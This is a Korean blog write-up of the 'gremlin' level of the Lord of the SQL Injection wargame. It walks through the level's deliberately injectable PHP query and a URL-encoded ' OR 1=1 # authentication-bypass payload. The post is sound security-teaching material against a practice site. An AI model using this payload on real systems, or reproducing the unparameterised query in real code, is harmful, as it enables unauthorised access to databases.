Code::War Game/los.rubiya.kr

[LOS] Lord of the SQL Injection - gremlin

태군 코드 2022. 12. 27. 18:04
반응형

허용받지 않은 서비스 대상으로 해킹을 시도하는 행위는 범죄 행위입니다. 해킹을 시도할 때에 발생하는 법적인 책임은 그것을 행한 사용자에게 있다는 것을 명심하시기 바랍니다.

 

SQL Injection 공격은 임의의 SQL 쿼리문을  삽입한다는 게 가장 중요한 포인트입니다. 내가 삽입한 SQL 쿼리문이 서버에 어떻게 삽입되는지 그리고 DB에서 어떻게 실행되는 눈으로 보면 조금 더 이해하기가 쉬울 거라고 생각이 듭니다. LOS 사이트는 서버에서 완성되고 실행되는 SQL 쿼리문을 눈으로 확인할 수 있고, 내가 넣은 쿼리가 SQL 질의문이 어떻게 만들어지는지 확인할 수 있습니다. 이렇게 직접 눈으로 확인하면서 한 단계씩 풀어 보도록 하겠습니다.

 

GET 방식 데이터 전송

- 데이터를 URL에 포함하여 값을 전달하는 방식 입니다.
- URL의 길이가 제한되기 때문에 전송할 수 있는 데이터의 한계가 있을 수 있습니다.
- 모든 데이터가 URL에 노출되기 때문에 POST 방식에 비해 보안에 취약합니다.
- 한글, 공백, 특수문자 등 URL Encoding 처리를 해줘야 전송할 수 있습니다.

- 구분자 "?" 뒤에 오는 것이 파라미터(값)가 되고, 파라미터 값이 여러 개 있다면 구분자 "&"를 두어 파라미터를 구분할 수 있습니다.

GET 방식은 클라이언트의 데이터를 URL뒤에 붙여서 보냅니다. 위에서 쓴 예시처럼 아이디와 패스워드를 보낸다고 가정하면

www.testget.com?id=test&pass=1234 이런 식으로 값을 전달할 수 있으며, URL 뒤에 "?" 통해 URL의 끝을 알리면서, 데이터 표현의 시작점을 알립니다.

 

gremlin

[LOS] Lord of the SQL Injection - gremlin

 

해당 문제를 살펴보면 GET 방식이라는 것을 알 수 있고, URL 데이터를 담아 값을 전달 할수 있다는 것을 알수 있습니다. 그럼 값을 전달해 보도록 하겠습니다.

 

https://los.rubiya.kr/chall/gremlin_280c5552de8b681110e9287421b834fd.php?id=admin&pw=admin

 

처음 문제에 접속을 하여 query 부분을 확인하면 id와 pw 부분이 비어 있지만, id와 pw의 값을 넘겨주면 쿼리 문이

select id from prob_gremlin where id='admin' and pw='admin' 변경된 것을 알 수 있습니다. 즉 id=admin이고 pw=admin 인 값을 prob_gremlin 테이블의 id 컬럼에서 select해라라는 뜻이 됩니다. 코드를 살펴보도록 하겠습니다.

 

반응형
if(preg_match('/prob|_|\.|\(\)/i', $_GET[id])) exit("No Hack ~_~"); // do not try to attack another table, database!
if(preg_match('/prob|_|\.|\(\)/i', $_GET[pw])) exit("No Hack ~_~");

 

preg_match() 함수

- 인자로 전달받은 정규 표현식과 일치하는 패턴을 검색하는 php의 함수입니다.

 

preg_match(string $pattern, string $subject, array &$matches = null, int $flags = 0, int $offset = 0): int|false

pattern - 정규 표현식의 검색할 패턴(문자열)입니다.
subject - 입력 문자열입니다.
matches - 제공 되면 matches검색 결과로 채워집니다. $matches [0] 에는 전체 패턴과 일치하는 텍스트가 포함되고, $matches [1] 에는 캡처된 첫 번째 괄호 하위 패턴과 일치하는 텍스트가 포함되는 식입니다.

 

정규 표현식에 대해서는 추후에 자세히 다루도록 하겠습니다.

 

id, pw 전달받은 값 중에 prob, _ , . , ( , ) 값이 존재할 경우 "No Hack ~_~"을 표시해라 라는 뜻입니다.

 

id=prob 값 전달

id에 prob 값을 전달하면 "No Hack ~_~" 이 표시되는 것을 확인할 수 있습니다. 위에서 정규 표현식으로 필터링하는 값들을 하나씩 넣어 보고 결과 값을 확인해 보시기를 추천드립니다.

 

$query = "select id from prob_gremlin where id='{$_GET[id]}' and pw='{$_GET[pw]}'";
echo "<hr>query : <strong>{$query}</strong><hr><br>";
$result = @mysqli_fetch_array(mysqli_query($db,$query));
if($result['id']) solve("gremlin");
highlight_file(__FILE__);

query - SQL 쿼리문을 실행

echo - 값을 출력

mysqli_fetch_array 함수 - 쿼리의 결과를 처리

highlight_file — 파일의 구문 강조 표시 

 

위의 쿼리를 살펴보면 id와 pw 값이 일치해야 문제가 풀리는 것을 알 수 있습니다. 하지만 우리는 id와 pw 값을 모르기 때문에 SQL 쿼리 문을 통해 우회를 해야 합니다.

 

id=value&pw=%27%20OR%201=1%20%23

URL이 인코딩 되었지만 실제 값은 아래와 같습니다.

id=임의값 & pw=' OR 1=1 #

pw=' OR 1=1 #

 

select id from prob_gremlin where id='value' and pw='' OR 1=1 #'

select id from prob_gremlin where id='' and pw='' OR 1=1 #'

 

쿼리를 해석해 보면 porb_gremlin 테이블의 id 컬럼에서 id가 value 이고 pw가 없거나 또는 값이 참일경우 조회해라 라고 풀이 할수 있습니다.

 

SQL 쿼리 문을 통하여 값을 참으로 만들어 주면 prob_gremlin 테이블의 모든 id 값을 가져올 수 있습니다.

 

참고

https://www.php.net/manual/en/function.preg-match.php

https://www.w3schools.com/tags/ref_urlencode.asp

 

반응형